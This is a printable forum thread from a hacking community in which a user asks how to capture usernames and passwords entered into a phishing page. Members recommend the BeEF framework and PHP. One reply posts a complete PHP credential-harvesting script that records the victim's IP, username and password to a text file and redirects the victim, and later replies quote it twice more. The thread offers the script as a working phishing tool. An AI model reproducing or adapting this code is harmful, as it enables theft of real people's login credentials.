Sinisterly
html phish from input - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Coding (https://sinister.ly/Forum-Coding--71)
+--- Thread: html phish from input (/Thread-html-phish-from-input)

Pages: 1 2


html phish from input - Cosvo - 08-08-2016

Hey!
I am working on little website which I am testing, and I was wondering how I can save information from input forms to a txt file?
Here's this:
Code:
<h3 id="user">Username:</h3> <input type="username" name="username" placeholder="Username" id="username"> <h3 id="pass">Password:</h3> <input type="password" name="password" placeholder="Password" id="password"> <input type="submit" id="button"> <hr>

I know a guy here made phishing pages, and I want to know how he stored this info to a txt file?
Can someone help me a little here?


RE: html phish from input - meow - 08-09-2016

BeEF



RE: html phish from input - Cosvo - 08-09-2016

(08-09-2016, 02:24 AM)meow Wrote: BeEF
mmm:/ I Don't wan't to use beef.. I have problems running it on windows and I don't have any plans on changing to kali:/ It could be anything.. Java, python, php, or even if there is some code in html which allows me so save content from an input form to a txt file..

I know there is a guy on here which made sites like this?


RE: html phish from input - Riddle - 08-09-2016

What do you mean you don't have plans switching to kali? Just open download it and open vmware?


RE: html phish from input - Ex094 - 08-09-2016

You can use PHP to receive the POST information from the html form and then write it to a text file, call the php script on form submit.


RE: html phish from input - meow - 08-10-2016

(08-09-2016, 10:48 AM)Cosvo Wrote:
(08-09-2016, 02:24 AM)meow Wrote: BeEF
mmm:/ I Don't wan't to use beef.. I have problems running it on windows and I don't have any plans on changing to kali:/ It could be anything.. Java, python, php, or even if there is some code in html which allows me so save content from an input form to a txt file..

I know there is a guy on here which made sites like this?

Oh, I thought you only wanted to use HTML and Javascript but okay. Doing this in PHP is super easy.

Nothing I said had anything to do with Kali whatsoever.


RE: html phish from input - meow - 08-10-2016

(08-10-2016, 05:16 PM)Ayumi Wrote:
(08-10-2016, 05:33 AM)meow Wrote:
(08-09-2016, 10:48 AM)Cosvo Wrote: mmm:/ I Don't wan't to use beef.. I have problems running it on windows and I don't have any plans on changing to kali:/ It could be anything.. Java, python, php, or even if there is some code in html which allows me so save content from an input form to a txt file..

I know there is a guy on here which made sites like this?

Oh, I thought you only wanted to use HTML and Javascript but okay. Doing this in PHP is super easy.

Nothing I said had anything to do with Kali whatsoever.

The guy you're referring to who made 'sites like this' is @Eclipse, who is banned.

Why did you quote me..?


RE: html phish from input - Wildfire - 08-12-2016

with PHP, you can simply do:
PHP Code:
<?php if(!isset($_POST['username'], $_POST['password'])) header("Location: error.html"); $dt = date("Y-m-d H:i:s"); $ip = stripslashes(trim($_SERVER["REMOTE_ADDR"])); $un = trim($_POST['username']); $pw = trim($_POST['password']); if((strlen($un) < 128) && (strlen($pw) < 128)) { file_put_contents("received.txt", "[{$dt}] - {$ip} - Username: {$un} - Password: {$pw}", FILE_APPEND | LOCK_EX); header("Location: success.html"); } else { header("Location: error.html"); }



RE: html phish from input - Cosvo - 08-12-2016

(08-12-2016, 02:56 AM)Axari Wrote: with PHP, you can simply do:
PHP Code:
<?php if(!isset($_POST['username'], $_POST['password'])) header("Location: error.html"); $dt = date("Y-m-d H:i:s"); $ip  = stripslashes(trim($_SERVER["REMOTE_ADDR"])); $un = trim($_POST['username']); $pw = trim($_POST['password']); if((strlen($un) < 128) && (strlen($pw) < 128)) { file_put_contents("received.txt", "[{$dt}] - {$ip} - Username: {$un} - Password: {$pw}", FILE_APPEND | LOCK_EX); header("Location: success.html"); } else { header("Location: error.html"); }
I am having problems with exactly this. Do you mind adding me on skype?


RE: html phish from input - Wildfire - 08-12-2016

(08-12-2016, 04:07 PM)Cosvo Wrote:
(08-12-2016, 02:56 AM)Axari Wrote: with PHP, you can simply do:
PHP Code:
<?php if(!isset($_POST['username'], $_POST['password'])) header("Location: error.html"); $dt = date("Y-m-d H:i:s"); $ip  = stripslashes(trim($_SERVER["REMOTE_ADDR"])); $un = trim($_POST['username']); $pw = trim($_POST['password']); if((strlen($un) < 128) && (strlen($pw) < 128)) { file_put_contents("received.txt", "[{$dt}] - {$ip} - Username: {$un} - Password: {$pw}", FILE_APPEND | LOCK_EX); header("Location: success.html"); } else { header("Location: error.html"); }
I am having problems with exactly this. Do you mind adding me on skype?

Sure then. ax.ar.io.us is my Skype name.